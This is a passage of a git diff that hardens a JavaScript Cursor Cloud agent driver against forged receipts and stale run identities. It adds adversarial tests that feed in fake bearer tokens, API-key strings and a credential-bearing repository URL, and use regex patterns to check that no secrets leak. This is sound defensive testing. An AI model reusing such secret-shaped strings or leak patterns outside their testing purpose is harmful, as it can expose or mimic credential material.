recorded agent and request identity and never relaunches.'); + if (!hasExactRecordedRunIdentity(prior)) { + putLane(store, identity, { ...prior, state: 'dispatch_uncertain' }); + return driverResult('reconcile', identity, 'dispatch_uncertain'); } const reattachRequest = transportIdentityRequest(identity, { agent_id: prior.agent_id, provider_run_id: prior.provider_run_id, request_id: prior.request_id, + branch: prior.branch, + repository_identity: prior.repository_identity, }); assertNoContentKeys(reattachRequest, 'cursor_cloud_transport.reattach.request'); - const reattached = callTransport(store, 'reattach', reattachRequest); - assertClosedReceipt(reattached, REATTACH_RECEIPT_KEYS, 'transport.reattach.result'); - if (optOwn(reattached, 'reattached') !== true) { - fail('stale_identity_denied', 'transport.reattach.result.reattached', - 'restart_reattach recovered no live Cursor Cloud run; the lane fails closed and is never relaunched.'); - } - assertReceiptIdentity(reattached, identity, 'transport.reattach.result'); - assertExactRunBinding(reattached, prior, 'transport.reattach.result'); - const agentId = assertPatternedId( - optOwn(reattached, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.reattach.result.agent_id', 'agent_id', - ); - putLane(store, identity, { ...prior, agent_id: agentId, reattached: true }); + const reattached = invokeTransport(store, 'reattach', reattachRequest); + inspectProviderReceipt('reattach', () => { + assertClosedReceipt(reattached, REATTACH_RECEIPT_KEYS, 'transport.reattach.result'); + if (optOwn(reattached, 'reattached') !== true) { + fail('stale_identity_denied', 'transport.reattach.result.reattached', + 'restart_reattach recovered no live Cursor Cloud run; the lane fails closed and is never relaunched.'); + } + assertReceiptIdentity(reattached, identity, 'transport.reattach.result', prior.repository_identity); + assertExactRunBinding(reattached, prior, 'transport.reattach.result'); + const agentId = assertPatternedId( + optOwn(reattached, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, + 'transport.reattach.result.agent_id', 'agent_id', + ); + putLane(store, identity, { ...prior, agent_id: agentId, reattached: true }); + }); } if (latched) { @@ -1115,7 +1338,13 @@ function runReconcile(store, request) { return latchedTerminalResult('reconcile', identity, prior); } - const observed = observeLane(store, identity, getLane(store, identity), include); + const currentBeforeObserve = getLane(store, identity); + if (!hasExactRecordedRunIdentity(currentBeforeObserve)) { + putLane(store, identity, { ...currentBeforeObserve, state: 'dispatch_uncertain' }); + return driverResult('reconcile', identity, 'dispatch_uncertain'); + } + + const observed = observeLane(store, identity, currentBeforeObserve, include); const current = getLane(store, identity); const disposition = current.state === 'dispatch_uncertain' && observed.status === 'lost' ? 'dispatch_uncertain' @@ -1138,6 +1367,7 @@ function runReconcile(store, request) { 'same-session reply is unsupported; the question remains unresolved evidence'), }) : undefined; + const priorTruncated = current.evidence !== undefined && current.evidence.evidence_truncated === true; putLane(store, identity, { ...current, state: nextState, @@ -1155,7 +1385,9 @@ function runReconcile(store, request) { progress: observed.progress ?? null, attention: observed.attention ?? null, status: observed.status, - evidence_truncated: false, + evidence_truncated: evidenceTruncatedFlag( + observed.events, observed.progress, observed.status, priorTruncated, + ), }), last_status: observed.status, agent_id: observed.agent_id ?? current.agent_id, @@ -1197,19 +1429,22 @@ function runCancel(store, request) { detail_message: boundedDiagnosticMessage('already_terminal', 'outcome=already_terminal'), }); } - if (prior.agent_id === undefined) { + if (!hasExactRecordedRunIdentity(prior)) { fail('stale_identity_denied', 'driver.cancel.request', - 'Cursor Cloud cancellation requires the exact recorded agent identity; refusing to cancel an arbitrary run.'); + 'Cursor Cloud cancellation requires the exact recorded agent, run, request, and branch identity; refusing to cancel an arbitrary run.'); } const cancelRequest = transportIdentityRequest(identity, { agent_id: prior.agent_id, provider_run_id: prior.provider_run_id, request_id: prior.request_id, + branch: prior.branch, + repository_identity: prior.repository_identity, }); assertNoContentKeys(cancelRequest, 'cursor_cloud_transport.cancel.request'); - const receipt = callTransport(store, 'cancel', cancelRequest); + const receipt = invokeTransport(store, 'cancel', cancelRequest); + return inspectProviderReceipt('cancel', () => { assertClosedReceipt(receipt, CANCEL_RECEIPT_KEYS, 'transport.cancel.result'); - assertReceiptIdentity(receipt, identity, 'transport.cancel.result'); + assertReceiptIdentity(receipt, identity, 'transport.cancel.result', prior.repository_identity); assertExactRunBinding(receipt, prior, 'transport.cancel.result'); const outcome = optOwn(receipt, 'outcome'); if (!capturedIncludes(CURSOR_CLOUD_CANCEL_OUTCOMES, outcome)) { @@ -1246,6 +1481,7 @@ function runCancel(store, request) { detail_code: outcome === 'already_terminal' ? 'already_terminal' : archiveCode, detail_message: boundedDiagnosticMessage(archiveCode, `outcome=${outcome} archived=${archived}`), }); + }); } export function createCursorCloudDriverV1(transport) { @@ -1268,19 +1504,19 @@ export function createCursorCloudDriverV1(transport) { }; const driver = capturedCreate(null); capturedDefineProperty(driver, 'preflight', { - value: (request) => runPreflight(store, request), + value: (request) => guardLifecycle('preflight', () => runPreflight(store, request)), enumerable: true, configurable: false, writable: false, }); capturedDefineProperty(driver, 'launch', { - value: (request) => runLaunch(store, request), + value: (request) => guardLifecycle('launch', () => runLaunch(store, request)), enumerable: true, configurable: false, writable: false, }); capturedDefineProperty(driver, 'reconcile', { - value: (request) => runReconcile(store, request), + value: (request) => guardLifecycle('reconcile', () => runReconcile(store, request)), enumerable: true, configurable: false, writable: false, }); capturedDefineProperty(driver, 'cancel', { - value: (request) => runCancel(store, request), + value: (request) => guardLifecycle('cancel', () => runCancel(store, request)), enumerable: true, configurable: false, writable: false, }); OBJECT_FREEZE(driver); @@ -1369,6 +1605,7 @@ export function describeCursorCloudDriverV1() { event_bytes: MAX_CURSOR_CLOUD_EVENT_BYTES, event_count: MAX_CURSOR_CLOUD_EVENT_COUNT, timing_ms: MAX_CURSOR_CLOUD_TIMING_MS, + cursor_bytes: MAX_CURSOR_CLOUD_CURSOR_BYTES, cursor_pattern: CURSOR_CLOUD_CURSOR_PATTERN.source, }), identities: capturedFreeze([ diff --git a/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs index a19786f..4853e23 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs @@ -199,6 +199,7 @@ export function createScriptedCursorCloudTransportV1(script = {}) { agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, ...identityFromRequest(request), starting_sha: request.starting_sha, repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver-adversarial.test.mjs new file mode 100644 index 0000000..b71508e --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver-adversarial.test.mjs @@ -0,0 +1,959 @@ +// Adversarial tests for the P21 Cursor Cloud SDK adapter: hostile direct-JS +// transports, forged receipts, merge/PR/push/replay keys, secret and prompt +// leaks, and post-intent replay. Injected transport only. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CURSOR_CLOUD_TRANSPORT_OPERATIONS, + assertCursorCloudTransportV1, + bindCursorCloudDriverV1, + createCursorCloudDriverV1, + inspectCursorCloudLaneEvidenceV1, +} from '../mcp/v3/cursor-cloud-driver.mjs'; +import { + DRIVER_OPERATION_SCHEMA_IDS, + buildDriverOperationRequestV1, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + CLOUD_FIXTURE_BRANCH, + CLOUD_FIXTURE_MODEL, + CLOUD_FIXTURE_PROVIDER_RUN_ID, + CLOUD_FIXTURE_REPO_IDENTITY, + CLOUD_FIXTURE_REPO_URL, + LEAK_MARKER, + buildCursorCloudDriverFixtureV1, + createScriptedCursorCloudTransportV1, + cursorCloudCallsOf, +} from './fixtures/r1-cursor-cloud-driver-fixtures.mjs'; + +const fixture = buildCursorCloudDriverFixtureV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function errorOf(fn) { + try { + fn(); + } catch (error) { + return error; + } + throw new Error('expected a typed contract error'); +} + +function requestFor(operation, extras = {}) { + return buildDriverOperationRequestV1(operation, fixture.envelope, extras); +} + +function identityFields() { + return { + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + }; +} + +function launchBound(script = {}) { + const transport = createScriptedCursorCloudTransportV1(script); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + return { driver, transport }; +} + +test('live and revoked proxies are denied with zero traps', () => { + const live = countingProxy(createScriptedCursorCloudTransportV1()); + assert.equal(errorOf(() => assertCursorCloudTransportV1(live.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); + + const { proxy, revoke } = Proxy.revocable(createScriptedCursorCloudTransportV1(), { + get() { throw new Error('revoked getter ran'); }, + }); + revoke(); + assert.equal(errorOf(() => assertCursorCloudTransportV1(proxy)).code, 'proxy_denied'); +}); + +test('hostile transport surfaces fail closed', () => { + expectCode(() => assertCursorCloudTransportV1({ ...createScriptedCursorCloudTransportV1(), retry: () => ({}) }), + 'invalid_surface'); + const incomplete = { ...createScriptedCursorCloudTransportV1() }; + delete incomplete.reattach; + expectCode(() => assertCursorCloudTransportV1(incomplete), 'invalid_surface'); + expectCode(() => assertCursorCloudTransportV1({ ...createScriptedCursorCloudTransportV1(), create: 1 }), + 'invalid_operation'); + class TransportClass {} + expectCode( + () => assertCursorCloudTransportV1(Object.assign(new TransportClass(), createScriptedCursorCloudTransportV1())), + 'exotic_prototype_denied', + ); + const accessor = {}; + Object.defineProperty(accessor, 'preflight', { enumerable: true, get: () => () => ({}) }); + for (const operation of CURSOR_CLOUD_TRANSPORT_OPERATIONS) { + if (operation === 'preflight') continue; + accessor[operation] = () => ({}); + } + expectCode(() => assertCursorCloudTransportV1(accessor), 'invalid_object'); + const symbolTransport = { ...createScriptedCursorCloudTransportV1() }; + symbolTransport[Symbol('hidden')] = () => ({}); + expectCode(() => assertCursorCloudTransportV1(symbolTransport), 'invalid_object'); +}); + +test('getter and own-undefined driver requests never invoke accessors', () => { + let reads = 0; + const getterRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + Object.defineProperty(getterRequest, 'version', { + enumerable: true, + get() { + reads += 1; + return 1; + }, + }); + assert.equal(errorOf(() => validateDriverLaunchRequestV1(getterRequest)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + const undefinedRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: undefined, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + assert.equal(errorOf(() => validateDriverLaunchRequestV1(undefinedRequest)).code, 'own_undefined_denied'); + expectCode(() => validateDriverLaunchRequestV1(new Proxy(requestFor('launch'), {})), 'proxy_denied'); +}); + +test('merge, create-PR, push, and replay keys stay forbidden on the driver request', () => { + for (const [key, value, code] of [ + ['create_pr', true, 'merge_authority_denied'], + ['allow_merge', true, 'merge_authority_denied'], + ['fallback', true, 'replay_or_fallback_denied'], + ['resend', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 'now', 'replay_or_fallback_denied'], + ['allow_post_dispatch_fallback', true, 'replay_or_fallback_denied'], + ]) { + expectCode( + () => validateDriverLaunchRequestV1({ ...requestFor('launch'), [key]: value }), + code, + `${key} must fail closed`, + ); + } +}); + +test('malformed create receipts after the SDK call are uncertain, not dispatched', () => { + const { driver, transport } = launchBound({ + create: [{ created: true, agent_id: '!!!', ...identityFields() }], + }); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(cursorCloudCallsOf(transport, 'send').length, 0); +}); + +test('forged send acknowledgements never become dispatched', () => { + const { driver } = launchBound({ + send: [{ + acknowledged: true, + agent_id: 'bc-forged', + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: 'ccr-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + }], + }); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('observe PR URLs, prompt fields, and extra keys fail closed', () => { + const { driver } = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'completed', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + pr_url: 'https://github.com/example/codex-co-engineer/pull/1', + })], + }); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'unknown_key'); +}); + +test('credential-bearing repository URLs fail closed before create', () => { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + ...identityFields(), + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + repository_url: 'https://user:token@github.com/example/codex-co-engineer.git', + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + }], + }); + const driver = bindCursorCloudDriverV1(transport); + expectCode(() => driver.preflight(requestFor('preflight')), 'invalid_format'); + assert.equal(cursorCloudCallsOf(transport, 'create').length, 0); +}); + +test('prompt and secret markers never reach driver results or evidence', () => { + const { driver, transport } = launchBound(); + driver.launch(requestFor('launch')); + const launched = driver.reconcile(requestFor('reconcile', { include: ['detailed_events', 'live_progress'] })); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + const blob = `${JSON.stringify(launched)}\n${JSON.stringify(evidence)}\n${JSON.stringify(cursorCloudCallsOf(transport, 'observe')[0])}`; + assert.doesNotMatch(JSON.stringify(launched), new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(JSON.stringify(evidence), new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(JSON.stringify(launched), /sk-|Bearer |api_key/iu); + void blob; +}); + +test('event pages reject hostile records and over-bound arrays', () => { + const { driver } = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + events: [{ kind: 'prompt', bytes: 12 }], + })], + }); + driver.launch(requestFor('launch')); + expectCode( + () => driver.reconcile(requestFor('reconcile', { include: ['detailed_events'] })), + 'invalid_format', + ); + + const oversized = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + events: Array.from({ length: 33 }, () => ({ kind: 'status', bytes: 1 })), + })], + }); + oversized.driver.launch(requestFor('launch')); + expectCode( + () => oversized.driver.reconcile(requestFor('reconcile', { include: ['detailed_events'] })), + 'invalid_format', + ); +}); + +test('inspect rejects proxy queries without running traps', () => { + const { driver } = launchBound(); + driver.launch(requestFor('launch')); + const query = countingProxy({ + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(errorOf(() => inspectCursorCloudLaneEvidenceV1(driver, query.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(query.counts), 0); +}); + +test('blocked preflight details never copy transport-authored text', () => { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: false, + ...identityFields(), + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: false, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + detail_code: 'workspace_dirty', + detail_message: `dirty because ${LEAK_MARKER} and Bearer sk-live`, + }], + }); + const driver = bindCursorCloudDriverV1(transport); + const blocked = driver.preflight(requestFor('preflight')); + assert.equal(blocked.disposition, 'blocked'); + assert.doesNotMatch(blocked.detail_message, new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(blocked.detail_message, /Bearer|sk-live/u); +}); + +test('createCursorCloudDriverV1 rejects a proxy transport without constructing lanes', () => { + const live = countingProxy(createScriptedCursorCloudTransportV1()); + assert.equal(errorOf(() => createCursorCloudDriverV1(live.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); +}); + +function readyPreflightReceipt(overrides = {}) { + return { + ok: true, + ...identityFields(), + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + ...overrides, + }; +} + +function publicErrorBlob(error) { + let json = ''; + try { + json = JSON.stringify(error); + } catch { + json = ''; + } + return [ + error?.name, error?.code, error?.path, error?.message, error?.stack, + error?.cause, error?.detail, error?.details, error?.errno, error?.syscall, + error === undefined || error === null ? '' : String(error), + json, + ].map((value) => (value === undefined || value === null ? '' : String(value))).join('\n'); +} + +function assertClosedPublicError(error) { + assert.ok(error instanceof RunContractV1Error); + const blob = publicErrorBlob(error); + assert.doesNotMatch(blob, /Bearer/u); + assert.doesNotMatch(blob, /sk-live/u); + assert.doesNotMatch(blob, /Authorization/u); + assert.doesNotMatch(blob, new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(blob, /api[_-]?key/iu); + assert.doesNotMatch(blob, /envelope_text/u); + assert.equal(error.cause, undefined); + assert.equal(error.detail, undefined); + assert.equal(error.details, undefined); + assert.equal(error.name, 'RunContractV1Error'); +} + +test('blocker 1: preflight safety booleans missing true or nonboolean fail closed', () => { + const cases = [ + [{}, 'credential_bearing', undefined], + [{ credential_bearing: 'false' }, 'credential_bearing', 'false'], + [{ credential_bearing: 0 }, 'credential_bearing', 0], + [{ credential_bearing: true }, 'credential_bearing', true], + [{}, 'duplicate_identities', undefined], + [{ duplicate_identities: 'no' }, 'duplicate_identities', 'no'], + [{ auto_create_pr: 'false' }, 'auto_create_pr', 'false'], + [{ auto_create_pr: true }, 'auto_create_pr', true], + ]; + for (const [override, key, value] of cases) { + const receipt = readyPreflightReceipt(override); + if (value === undefined) delete receipt[key]; + const transport = createScriptedCursorCloudTransportV1({ preflight: [receipt] }); + const driver = bindCursorCloudDriverV1(transport); + assert.throws( + () => driver.preflight(requestFor('preflight')), + (error) => error instanceof RunContractV1Error, + `${key}=${String(value)} must fail closed`, + ); + assert.equal(cursorCloudCallsOf(transport, 'create').length, 0, `${key} must not dispatch`); + } +}); + +test('blocker 2: repository identity and starting sha bind across every lifecycle receipt', () => { + const missingShaCreate = launchBound({ + create: [(request) => { + const receipt = { + created: true, + agent_id: request.proposed_agent_id, + ...identityFields(), + }; + delete receipt.starting_sha; + return receipt; + }], + }); + const missingShaLaunch = missingShaCreate.driver.launch(requestFor('launch')); + assert.notEqual(missingShaLaunch.disposition, 'dispatched'); + assert.equal(cursorCloudCallsOf(missingShaCreate.transport, 'send').length, 0); + + const driftedRepo = launchBound({ + create: [(request) => ({ + created: true, + agent_id: request.proposed_agent_id, + ...identityFields(), + repository_identity: 'github.com/other/drifted-cloud', + })], + }); + const driftedLaunch = driftedRepo.driver.launch(requestFor('launch')); + assert.notEqual(driftedLaunch.disposition, 'dispatched'); + assert.equal(cursorCloudCallsOf(driftedRepo.transport, 'send').length, 0); + + const missingShaSend = launchBound({ + send: [(request) => { + const receipt = { + acknowledged: true, + agent_id: request.agent_id, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + }; + delete receipt.starting_sha; + return receipt; + }], + }); + const sendMissing = missingShaSend.driver.launch(requestFor('launch')); + assert.notEqual(sendMissing.disposition, 'dispatched'); + + const { driver, transport } = launchBound({ + observe: [(request) => { + const receipt = { + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + }; + delete receipt.starting_sha; + return receipt; + }], + }); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'malformed_receipt'); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.git, null); + assert.equal(cursorCloudCallsOf(transport, 'create').length, 1); +}); + +test('blocker 3: observe reattach and cancel require exact recorded run identities including branch', () => { + const omitRun = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + })], + }); + omitRun.driver.launch(requestFor('launch')); + expectCode(() => omitRun.driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); + + const omitBranch = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + })], + }); + omitBranch.driver.launch(requestFor('launch')); + expectCode(() => omitBranch.driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); + + const omitRequestCancel = launchBound({ + cancel: [(request) => ({ + outcome: 'cancel_confirmed', + archived: true, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + ...identityFields(), + })], + }); + omitRequestCancel.driver.launch(requestFor('launch')); + expectCode(() => omitRequestCancel.driver.cancel(requestFor('cancel')), 'stale_identity_denied'); + + const omitBranchReattach = launchBound({ + reattach: [(request) => ({ + reattached: true, + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + })], + }); + omitBranchReattach.driver.launch(requestFor('launch')); + expectCode( + () => omitBranchReattach.driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'stale_identity_denied', + ); +}); + +test('blocker 4: uncertain dispatch never observes or reattaches a substitute run', () => { + const transport = createScriptedCursorCloudTransportV1({ + send: [{ throw: true, code: 'transport_lost', message: `lost ${LEAK_MARKER}` }], + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id ?? 'bc-adopted-agent', + provider_run_id: request.provider_run_id ?? 'run-adopted-arbitrary', + request_id: request.request_id ?? 'ccr-bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + branch: request.branch ?? 'cursor/adopted-branch', + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + })], + reattach: [(request) => ({ + reattached: true, + ...identityFields(), + agent_id: request.agent_id ?? 'bc-adopted-agent', + provider_run_id: request.provider_run_id ?? 'run-adopted-arbitrary', + request_id: request.request_id ?? 'ccr-bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + branch: request.branch ?? 'cursor/adopted-branch', + })], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + const observed = driver.reconcile(requestFor('reconcile')); + assert.equal(observed.disposition, 'dispatch_uncertain'); + assert.equal(cursorCloudCallsOf(transport, 'observe').length, 0); + const restarted = driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })); + assert.equal(restarted.disposition, 'dispatch_uncertain'); + assert.equal(cursorCloudCallsOf(transport, 'reattach').length, 0); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.provider_run_id, null); + assert.notEqual(evidence.branch, 'cursor/adopted-branch'); +}); + +test('blocker 5: hostile cursor count and timing fail closed with content-free evidence', () => { + const hugeCursor = '7'.repeat(1_000_000); + const cursorCase = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + progress: { status: 'running', event_count: 1, elapsed_ms: 20, cursor: hugeCursor }, + })], + }); + cursorCase.driver.launch(requestFor('launch')); + const cursorError = errorOf( + () => cursorCase.driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })), + ); + assert.equal(cursorError.code, 'invalid_format'); + assert.doesNotMatch(publicErrorBlob(cursorError), /7{32}/u); + const cursorEvidence = inspectCursorCloudLaneEvidenceV1(cursorCase.driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(cursorEvidence.progress, null); + assert.doesNotMatch(JSON.stringify(cursorEvidence), /7{32}/u); + + const countCase = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + progress: { status: 'running', event_count: 1.5, elapsed_ms: 20, cursor: '1' }, + })], + }); + countCase.driver.launch(requestFor('launch')); + expectCode( + () => countCase.driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })), + 'invalid_format', + ); + + const timingCase = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + progress: { status: 'running', event_count: 1, elapsed_ms: -1, cursor: '1' }, + })], + }); + timingCase.driver.launch(requestFor('launch')); + expectCode( + () => timingCase.driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })), + 'invalid_format', + ); + const timingEvidence = inspectCursorCloudLaneEvidenceV1(timingCase.driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(timingEvidence.progress, null); +}); + +test('blocker 6: observe cancel and reattach transport exceptions collapse to closed detail', () => { + const hostile = `Authorization: Bearer sk-live ${LEAK_MARKER} prompt=envelope_text api_key=secret`; + const observeCase = launchBound({ + observe: [() => { + throw new Error(hostile); + }], + }); + observeCase.driver.launch(requestFor('launch')); + const observeError = errorOf(() => observeCase.driver.reconcile(requestFor('reconcile'))); + assertClosedPublicError(observeError); + assert.equal(observeError.code, 'transport_exception'); + + const cancelCase = launchBound({ + cancel: [() => { + const error = new Error(hostile); + error.code = 'ECONNRESET'; + error.stack = `${hostile}\n at transport`; + throw error; + }], + }); + cancelCase.driver.launch(requestFor('launch')); + const cancelError = errorOf(() => cancelCase.driver.cancel(requestFor('cancel'))); + assertClosedPublicError(cancelError); + + const reattachCase = launchBound({ + reattach: [() => { + throw Object.assign(new Error(hostile), { code: 'provider_unauthorized' }); + }], + }); + reattachCase.driver.launch(requestFor('launch')); + const reattachError = errorOf( + () => reattachCase.driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + ); + assertClosedPublicError(reattachError); +}); + +test('blocker 7: accepted truncated events store evidence_truncated true never false', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [ + (request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + events: [{ kind: 'truncated', bytes: 8 }, { kind: 'status', bytes: 4 }], + progress: { status: 'truncated', event_count: 2, elapsed_ms: 9, cursor: '2' }, + }), + (request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + events: [{ kind: 'status', bytes: 4 }], + progress: { status: 'running', event_count: 3, elapsed_ms: 12, cursor: '3' }, + }), + ], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + driver.launch(requestFor('launch')); + driver.reconcile(requestFor('reconcile', { include: ['detailed_events', 'live_progress'] })); + const first = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(first.evidence_truncated, true); + driver.reconcile(requestFor('reconcile', { include: ['detailed_events', 